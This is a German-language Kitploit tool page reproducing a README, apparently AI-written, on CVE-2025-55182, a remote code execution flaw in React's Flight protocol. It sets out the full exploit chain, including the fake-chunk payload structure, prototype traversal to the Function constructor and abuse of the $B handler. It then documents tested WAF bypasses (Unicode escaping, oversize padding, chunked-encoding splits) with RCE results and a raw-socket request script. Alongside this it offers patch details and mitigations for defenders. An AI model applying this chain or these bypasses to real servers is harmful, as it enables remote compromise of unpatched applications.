Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-55182-research — Technischer Proof-of-Concept und tiefgehende Analyse von CVE-2025-55182, einer kritischen RCE-Schwachstelle im Flight-Protokoll von React durch Pfad-Traversal, Fake-Chunk-Injection und $B-Handler-Missbrauch. | Kitploit
Tools/GitHubGitHub/ejpir/cve-2025-55182-research
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWAF-UmgehungPapers & ForschungLernen & BildungPayload-Entwicklung
GitHubejpir/cve-2025-55182-research

CVE-2025-55182-research

Technischer Proof-of-Concept und tiefgehende Analyse von CVE-2025-55182, einer kritischen RCE-Schwachstelle im Flight-Protokoll von React durch Pfad-Traversal, Fake-Chunk-Injection und $B-Handler-Missbrauch.

Repository anzeigen
7952027vor 9 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182 - React Server Components RCE

NOTE: Written by AI/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182 ist eine kritische RCE-Schwachstelle im React Flight Protocol. Der Angriff verknüpft path traversal + fake chunk injection + $B handler abuse, um Function(attacker_code) auszuführen.

Großer Dank an maple3142 für die funktionierende Exploitation-Chain!


Der Exploit

Angriffsübersicht

Der Exploit verwendet drei Formularfelder, um eine schädliche Nutzlast zu konstruieren:

  1. Erstellt ein fake chunk object mit selbstreferenziellem then (Feld 1 $@0 → Feld 0)
  • Bettet eine fake _response ein, bei der _formData.get auf $1:constructor:constructor gesetzt ist.
  • Löst den $B-Handler aus, der response._formData.get(response._prefix + id) aufruft.
  • Path traversal löst _formData.get → Function auf und führt Function(code) aus.
  • Exploitationsablauf```

    ┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### Schlüsselkomponenten
    
    | Komponente | Zweck |
    |-----------|---------|
    | `then: "$1:__proto__:then"` | Selbstreferenzierendes Thenable; Chunk 1 (`$@0`) verweist zurück auf Chunk 0 |
    | `status: "resolved_model"` | Lässt das Objekt als gültigen React-Chunk erscheinen |
    | `reason: -1` | Setzt rootReference auf undefined (vermeidet Referenzkonflikte) |
    | `value: '{"then":"$B1337"}'` | Verschachtelte Payload, die den `$B`-Handler auslöst |
    | `_response._prefix` | Enthält den RCE-Code-String |
    | `_response._chunks: "$Q2"` | Leere Map, um Abstürze während der Chunk-Verarbeitung zu verhindern |
    | `_response._formData.get` | Zeigt über `$1:constructor:constructor` auf `Function` |
    
    ### Komponenten im Detail
    
    #### Struktur des Formularfelds
    
    Der Exploit verwendet drei Formularfelder mit zirkulären Referenzen:```
    Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
    Field 1: "$@0"    ← references back to field 0
    Field 2: []       ← empty array for _chunks Map
    

    Selbstreferenzielle Thenable (then)

    Das then: "$1:__proto__:then" erzeugt eine Selbstreferenz, die zu einer echten Funktion aufgelöst wird:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

    root@kitploit:~
    **Warum dies entscheidend ist:**
    
    1. `then` wird zu `Chunk.prototype.then` aufgelöst - einer echten aufrufbaren Funktion
    2. Dies macht das gefälschte Objekt zu einem gültigen Thenable
    3. Wenn es erwartet wird (awaited), ruft JS `obj.then(resolve, reject)` auf
    4. `Chunk.prototype.then` wird mit dem gefälschten Objekt als `this` ausgeführt:```javascript
    Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {  // this.status = "resolved_model" ✓
        case "resolved_model":
          initializeModelChunk(this);  // fake object passed!
    
    1. initializeModelChunk(this) verwendet this._response - die gefälschte _response des Angreifers:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
    root@kitploit:~
    **Ohne den Selbstverweis** würde das gefälschte `_response` niemals verwendet werden. Der Selbstverweis bewirkt, dass `Chunk.prototype.then` das Objekt des Angreifers als echtes Chunk behandelt.
    
    #### Zwei-Stufen-Thenable-Trigger (`value`)
    
    Das Feld `value` enthält einen verschachtelten JSON-String mit einem weiteren Thenable:```json
    {"then":"$B1337"}
    

    Stage 1: Selbstreferenzierendes then des äußeren Objekts löst Chunk-Verarbeitung aus

    Stage 2: Wenn React das Modell auflöst, parst es value und stößt auf ein weiteres thenable mit then: "$B1337". Das Präfix $B löst den Handler aus:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

    root@kitploit:~
    `_formData.get` ist `"$1:constructor:constructor"` → `getOutlinedModel()` ergibt `Function`.
    
    Daraus wird: `Function(code + "1337")` → gültiges JS, da `1337` nur ein nachgestellter Ausdruck ist.
    
    #### Defensives Padding (`_chunks`)
    
    Das gefälschte `_response` benötigt eine gültige `_chunks`-Eigenschaft, um Abstürze zu verhindern:```
    Form field "2": []           ← empty array
    _chunks: "$Q2"               ← $Q = Map type, creates new Map([])
    

    Der interne Code von React greift während der Verarbeitung möglicherweise auf response._chunks.get() oder response._chunks.has() zu. Eine leere Map erfüllt diese Aufrufe fehlerfrei und ermöglicht so die Ausführung bis zum anfälligen $B-Handler.


    Anfällige Codepfade

    PathFunctionPurpose in Exploit
    Pfad-TraversalgetOutlinedModel()Löst $1:constructor:constructor → Function auf
    Fake _response InjectioninitializeModelChunk()Verwendet chunk._response des Angreifers
    $B HandlerparseModelString()Ruft _formData.get(_prefix + id) auf → RCE

    decodeReply() ist der Einstiegspunkt, selbst nicht anfällig.

    Pfad-Traversal (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

    root@kitploit:~
    **Fake Response Nutzung** (`initializeModelChunk()`):```javascript
    value = reviveModel(
      chunk._response,  // Uses chunk._response directly!
      { "": rawModel },
      ...
    );
    

    $B Handler RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

    root@kitploit:~
    ## Der Fix (19.2.1)
    
    Der Patch enthält mehrere Korrekturen:
    
    1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - Kritischer Fix   ```javascript
       // BEFORE: chunk._response (attacker can set via JSON)
       value = reviveModel(chunk._response, ...);
    
       // AFTER: Symbol lookup (cannot be forged via JSON)
       var response = chunk.reason[RESPONSE_SYMBOL];
       value = reviveModel(response, ...);
    
    1. hasOwnProperty check in getOutlinedModel() - Blockiert Prototype-Traversal ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
      root@kitploit:~
    2. __proto__ Handhabung in reviveModel() - Verhindert prototype pollution ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
      root@kitploit:~
    3. Typüberprüfung in initializeModelChunk() - Validiert Listener ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
      root@kitploit:~

    Auswirkung & Versionen

    Auswirkungsbewertung

    FähigkeitStatusAnmerkungen
    Traversierung der Prototypenkette✓ BestätigtÜber $1:constructor:constructor
    Zugriff auf Function-Konstruktor✓ BestätigtKein Manifest erforderlich
    Vollständige RCE✓ BestätigtÜber Fake Chunk + $B Handler

    Betroffene Versionen

    • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • react-server-dom-turbopack: Gleiche Versionen
    • Next.js: 15.x, 16.x (vor Patches), Canaries ab 14.3.0-canary.77+

    Behobene Versionen

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

    Warum signaturbasierte WAF-Erkennung fehlschlägt

    Dieser Abschnitt erklärt, warum traditionelle pattern-basierte WAF-Regeln diesen Exploit nicht zuverlässig erkennen können. Das Verständnis dieser Einschränkungen ist für Sicherheitsteams, die ihr Abwehrprofil bewerten, unerlässlich.

    Das Kernproblem: Kodierung auf mehreren Ebenen

    Die Exploit-Payload durchläuft mehrere Parser, die jeweils unterschiedliche Kodierungsunterstützung bieten. Eine WAF, die rohe HTTP-Bytes untersucht, sieht kodierte Zeichenfolgen, aber der Server dekodiert sie vor der Verarbeitung:

    SchichtParserDekodiert
    JSON-StrukturJSON.parse()\uXXXX Unicode-Escapes
    JavaScript-CodeFunction()-Konstruktor\uXXXX, \xXX, Oktal, fromCharCode()

    Dies erzeugt eine grundlegende Diskrepanz: die WAF sieht kodierte Bytes, aber die Anwendung sieht dekodierte Zeichenfolgen.

    Was Signaturen abgleichen müssten

    Eine naive WAF könnte nach Mustern wie constructor, __proto__, resolved_model oder child_process suchen. JSON erlaubt jedoch Unicode-Escapes für jedes Zeichen:

    Wörtliches MusterUnicode-ÄquivalentWAF-Erkennung
    constructor\u0063onstructorUmgangen
    __proto__\u005f\u005fproto\u005f\u005fUmgangen
    resolved_model\u0072esolved_modelUmgangen
    $@ (zirkuläre Referenz)$\u0040Umgangen

    JavaScript-Code innerhalb der Payload hat noch mehr Kodierungsoptionen:

    MusterKodierungsoptionen
    process\u0070rocess, String.fromCharCode(112,114,111,99,101,115,115)
    child_process\x63hild_process, numerische Zeichencodes, Base64
    Jeder BezeichnerKlammernotation: this[S(112,114,...)] wobei S=String.fromCharCode

    Die Erkennungslücke

    Wenn alle Kodierungstechniken kombiniert werden:

    • JSON-Schlüssel werden zu Unicode-Sequenzen (\u0074\u0068\u0065\u006e für then)
    • JS-Bezeichner werden zu numerischen Arrays (S(99,104,105,108,100,95,...) für child_process)
    • Die rohe Payload enthält null erkennbare Schlüsselwörter

    Eine WAF, die den HTTP-Body scannt, sieht nur Escape-Sequenzen und Zahlen – nichts, das mit traditionellen Angriffssignaturen übereinstimmt.

    Warum dies für Verteidiger wichtig ist

    1. Signaturbasierte Regeln vermitteln falsche Sicherheit – Die Payload erreicht den Server unerkannt
    2. Die Kodierung ist unendlich – Jedes Zeichen kann unterschiedlich escaped werden; Regex kann nicht alle Varianten aufzählen
    3. Der Angriff ist protokollkonform – Alle Kodierungen sind gemäß Spezifikation gültiges JSON/JavaScript

    Überlegungen zur Header-Erkennung

    Der Next-Action-Header identifiziert Server Action-Anfragen. Während Header-Namen nicht Unicode-kodiert werden können (RFC 7230 erfordert ASCII-Token), erzeugen Normalisierungsunterschiede zwischen WAF und Server Erkennungslücken:

    VarianteSerververhaltenWAF-Risiko
    next-action (Kleinbuchstaben)Akzeptiert (HTTP ist Groß-/Kleinschreibung nicht sensitiv)Übersehen, wenn WAF exakte Schreibweise erwartet
    Next-Action:\tx (Tabulator)Akzeptiert (Leerzeichen normalisiert)Übersehen, wenn WAF Leerzeichen erwartet
    Next-Action: x (Leerzeichen)AkzeptiertOhne Normalisierung übersehen

    Empfehlungen zur Verteidigung

    Patchen ist die einzige zuverlässige Abhilfe. WAF-Regeln können diesen Angriff aufgrund der Kodierungsflexibilität nicht umfassend blockieren.

    Erforderliche Versionen:

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

    Wenn das Patchen verzögert wird, ziehen Sie Folgendes in Betracht:

    1. Dekodieren vor dem Abgleich – WAF muss \uXXXX, \xXX dekodieren und fromCharCode()-Aufrufe normalisieren, bevor ein Musterabgleich erfolgt
    2. Strukturelle Erkennung – Suchen Sie nach JSON-Strukturen, die _response, _prefix, _chunks oder zirkuläre Referenzen ($@0) enthalten
    3. Header-Normalisierung – next-action-Header unabhängig von Groß-/Kleinschreibung und mit Leerzeichenabgleich vergleichen
    4. Server Actions blockieren – Wenn Sie Server Actions nicht nutzen, blockieren Sie Anfragen mit Next-Action-Header vollständig
    5. Laufzeitüberwachung – Alarmieren Sie bei Function()-Aufrufen mit dynamischen Zeichenfolgenargumenten

    Wesentliche Erkenntnis: Musterabgleich allein wird gegen diese Art von Angriff versagen. Die Kodierungsoberfläche ist zu groß, um sie aufzuzählen.


    Umgehung der AWS WAF-Body-Inspektionsgrenzen

    Selbst mit umfassenden WAF-Regeln hat AWS WAF Body-Inspektionsgrößenbeschränkungen, die ausgenutzt werden können. Dieser Abschnitt dokumentiert getestete Umgehungstechniken mit überdimensionalen Payloads.

    Grenzen der Body-Inspektion

    AWS WAF inspiziert nur einen Teil des Anforderungsbodys:

    BackendStandardgrenzwertMaximal konfigurierbar
    ALB / AppSync8 KB8 KB
    CloudFront / API Gateway16 KB64 KB
    Amazon Cognito / App Runner16 KB64 KB

    Das OversizeHandling-Problem

    WAF-Regeln legen fest, wie mit Anfragen umzugehen ist, die die Inspektionsgrenzen überschreiten:

    EinstellungVerhaltenAusnutzbar?
    CONTINUEVerfügbare Bytes inspizieren, Regel auswertenJa – Payload nach dem Grenzwert wird nicht inspiziert
    MATCHAls Übereinstimmung behandeln (blockieren)Nein – blockiert überdimensionale Anfragen
    NO_MATCHAls nicht übereinstimmend behandelnJa – wird durchgelassen

    Wenn Ihre WAF-Regel OversizeHandling: CONTINUE verwendet (häufige Voreinstellung), ist die Umgehung trivial.

    Umgehungsstrategie: Padding vor der Payload

    Platzieren Sie harmlose Padding-Daten vor der Exploit-Payload, sodass sie außerhalb des Inspektionsfensters liegt:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### Testergebnisse
    
    Alle übergroßen Payloads haben erfolgreich RCE auf Next.js erzielt:
    
    | Padding-Größe | Gesamter Body | Exploit-Offset | Ergebnis |
    |--------------|------------|----------------|--------|
    | 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
    | 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
    | 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
    | 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
    | 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
    | 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
    
    ### Umgehung der Chunked-Transfer-Encoding
    
    HTTP/1.1 Chunked-Transfer-Encoding teilt den Body in einzelne Chunks auf. Wenn eine WAF die Chunks **vor** dem Zusammenbau überprüft, werden Muster, die Chunk-Grenzen überspannen, nicht erkannt.
    
    #### Funktionsweise```
    HTTP Request with Transfer-Encoding: chunked
    
    17f\r\n                           ← Chunk 1 size (hex)
    ...Content-Disposition: form-data; name="1"\r\n\r\n"$
    \r\n
    7b\r\n                            ← Chunk 2 size (hex)
    @0"\r\n------WebKitFormBoundary...
    \r\n
    0\r\n\r\n                         ← Terminator
    

    Muster auf mehrere Abschnitte aufgeteilt:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

    root@kitploit:~
    #### Getestete Chunking-Strategien
    
    | Strategie | Beschreibung | Ergebnis |
    |-----------|-------------|--------|
    | Teilen bei `$@` | `"$` \| `@0"` | ✅ RCE |
    | 10-Byte-Fragmente | Body alle 10 Bytes geteilt | ✅ RCE |
    | 5-Byte-Fragmente | Body alle 5 Bytes geteilt | ✅ RCE |
    | Teilen bei `status` | `sta` \| `tus` | ✅ RCE |
    
    Alle Strategien haben erfolgreich RCE erreicht – Next.js setzt chunked Requests korrekt wieder zusammen.
    
    #### Raw-Socket-Beispiel```javascript
    const net = require('net');
    const socket = new net.Socket();
    
    socket.connect(3000, 'localhost', () => {
      // Headers with chunked encoding
      socket.write([
        'POST / HTTP/1.1',
        'Host: localhost:3000',
        'Content-Type: multipart/form-data; boundary=----WebKit',
        'Transfer-Encoding: chunked',
        'Next-Action: test',
        '', ''
      ].join('\r\n'));
    
      // Chunk 1: everything up to and including "$
      const chunk1 = '...payload ending with "$';
      socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
    
      // Chunk 2: "@0" and rest of payload
      const chunk2 = '@0"\r\n...rest of payload';
      socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
    
      // Terminator
      socket.write('0\r\n\r\n');
    });
    

    Überlegungen zum WAF-Verhalten

    WAF-TypChunk-VerarbeitungBypass möglich?
    AWS WAF (ALB)Setzt vor der Prüfung wieder zusammenUnwahrscheinlich
    AWS WAF (CloudFront)Setzt vor der Prüfung wieder zusammenUnwahrscheinlich
    Einige ältere WAFsUntersucht pro ChunkJa
    Nginx ModSecurityKonfigurierbarAbhängig von Konfiguration

    Hinweis: AWS WAF setzt typischerweise chunked Bodies vor der Prüfung wieder zusammen. Dies sollte jedoch je nach Umgebung überprüft werden, da die Konfigurationen variieren.

    Empfehlungen zur Abschwächung

    1. Ändern Sie OversizeHandling auf MATCH ```json "OversizeHandling": "MATCH"
      root@kitploit:~

    Dies blockiert alle Anfragen, die das Inspektionslimit überschreiten, wenn die Regelbedingungen erfüllt sind.

    1. Erhöhen des Body-Inspektionslimits (nur CloudFront/API Gateway) Konfigurieren Sie bis zu 64 KB in den Web-ACL-Einstellungen, dies verhindert die Umgehung jedoch nicht vollständig.

    2. Hinzufügen einer größenbasierten Blockierungsregel Blockieren Sie POST-Anfragen mit Next-Action-Header, die eine angemessene Größe (z.B. 10 KB) überschreiten.

    3. Patchen der Anwendung – Die einzige vollständige Lösung.

    Test-Skripte

    Siehe enthaltene Testskripte:

    • test-simple.cjs – Basis-Test für nicht chunked Payload
    • test-oversize.cjs – Testet Padding-Größen von 0-128 KB
    • test-chunked-v2.cjs – Chunked Transfer Encoding mit $@-Split
    • test-chunked-bypass.cjs – Mehrere Chunking-Strategien (5-Byte, 10-Byte, Pattern-Splits)

    Verwendung:```bash

    Start vulnerable Next.js server (port 3000)

    cd nextjs-test && npm run dev

    Run tests

    node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

    root@kitploit:~
    ---
    
    ## Forschungsreise
    
    ### Die Schwachstelle: Path Traversal```javascript
    function getOutlinedModel(response, reference, parentObject, key, map) {
      reference = reference.split(":");
      var id = parseInt(reference[0], 16);
      var parentObject = response.chunks[id];
    
      // PATH TRAVERSAL - no hasOwnProperty check!
      for (var key = 1; key < reference.length; key++)
        parentObject = parentObject[reference[key]];  // VULNERABLE!
    
      return map(response, parentObject);
    }
    

    With payload "$1:constructor:constructor":

    1. chunk[1]["constructor"] → [Function: Object]
    2. Object["constructor"] → [Function: Function]

    Blockierte Pfade, die wir versucht haben

    Obwohl wir Function erhalten haben, erfordert die Erreichung von RCE, dass es mit kontrollierten Argumenten aufgerufen wird. Diese Pfade schlugen fehl:

    1. Thenable Path (Blockiert)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

    root@kitploit:~
    **2. decodeAction Pfad (Gesperrt)**```javascript
    // decodeAction always appends formData:
    // Function.bind(null, "code").bind(null, formData)()
    // = Function("code", "[object FormData]")
    // Result: SyntaxError - "[object FormData]" is not valid JS body
    

    3. Iterator Path (blockiert)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute

    root@kitploit:~
    ### Der Durchbruch
    
    maple3142 fand das fehlende Teil: der `$B`-Handler + die gefälschte `_response`-Kette. Indem `then` durch Selbstreferenz zu `Chunk.prototype.then` aufgelöst wird, wird die gefälschte `_response` verwendet, was RCE ermöglicht.
    
    ---
    
    ## Wichtige Erkenntnisse
    
    1. **Die `getOutlinedModel()`-Schwachstelle ist real** - Durch Doppelpunkte getrennte Pfade ermöglichen das Durchlaufen der Prototypenkette
    
    2. **Der Funktionskonstruktor ist zugänglich** - `$1:constructor:constructor` funktioniert ohne serverManifest
    
    3. **RCE ist erreichbar** - Durch Erstellen eines gefälschten Chunks mit kontrollierter `_response`:
       - Selbstreferenz `$1:__proto__:then` → `Chunk.prototype.then` bewirkt, dass die gefälschte `_response` verwendet wird
       - Die Struktur des gefälschten Chunks ahmt die interne Chunk-Klasse von React nach
       - `_response._formData.get` → `Function`-Konstruktor
       - `_response._prefix` → bösartiger Code-String
       - Der `$B`-Handler löst `Function(malicious_code)` aus
    
    4. **Der Fix ist umfassend** - Mehrere `hasOwnProperty`-Prüfungen und Typvalidierungen
    
    ---
    
    ## Referenzen
    
    - [maple3142's Gist](https://gist.github.com/maple3142) - Entdeckung der RCE-Kette
    - [React Security Advisory](https://github.com/facebook/react/security/advisories)
    - [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
    - [msanft PoC](https://github.com/msanft/CVE-2025-55182)
    - [react2shell.com](https://react2shell.com)
    - [AWS WAF Rule](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
    
    ---
    
    ## Haftungsausschluss
    
    Dieses Repository dient ausschließlich **der Bildungs- und defensiven Sicherheitsforschung**. Die Schwachstelle wurde gepatcht. Aktualisieren Sie Ihre Abhängigkeiten sofort.
    
    Tool herunterladen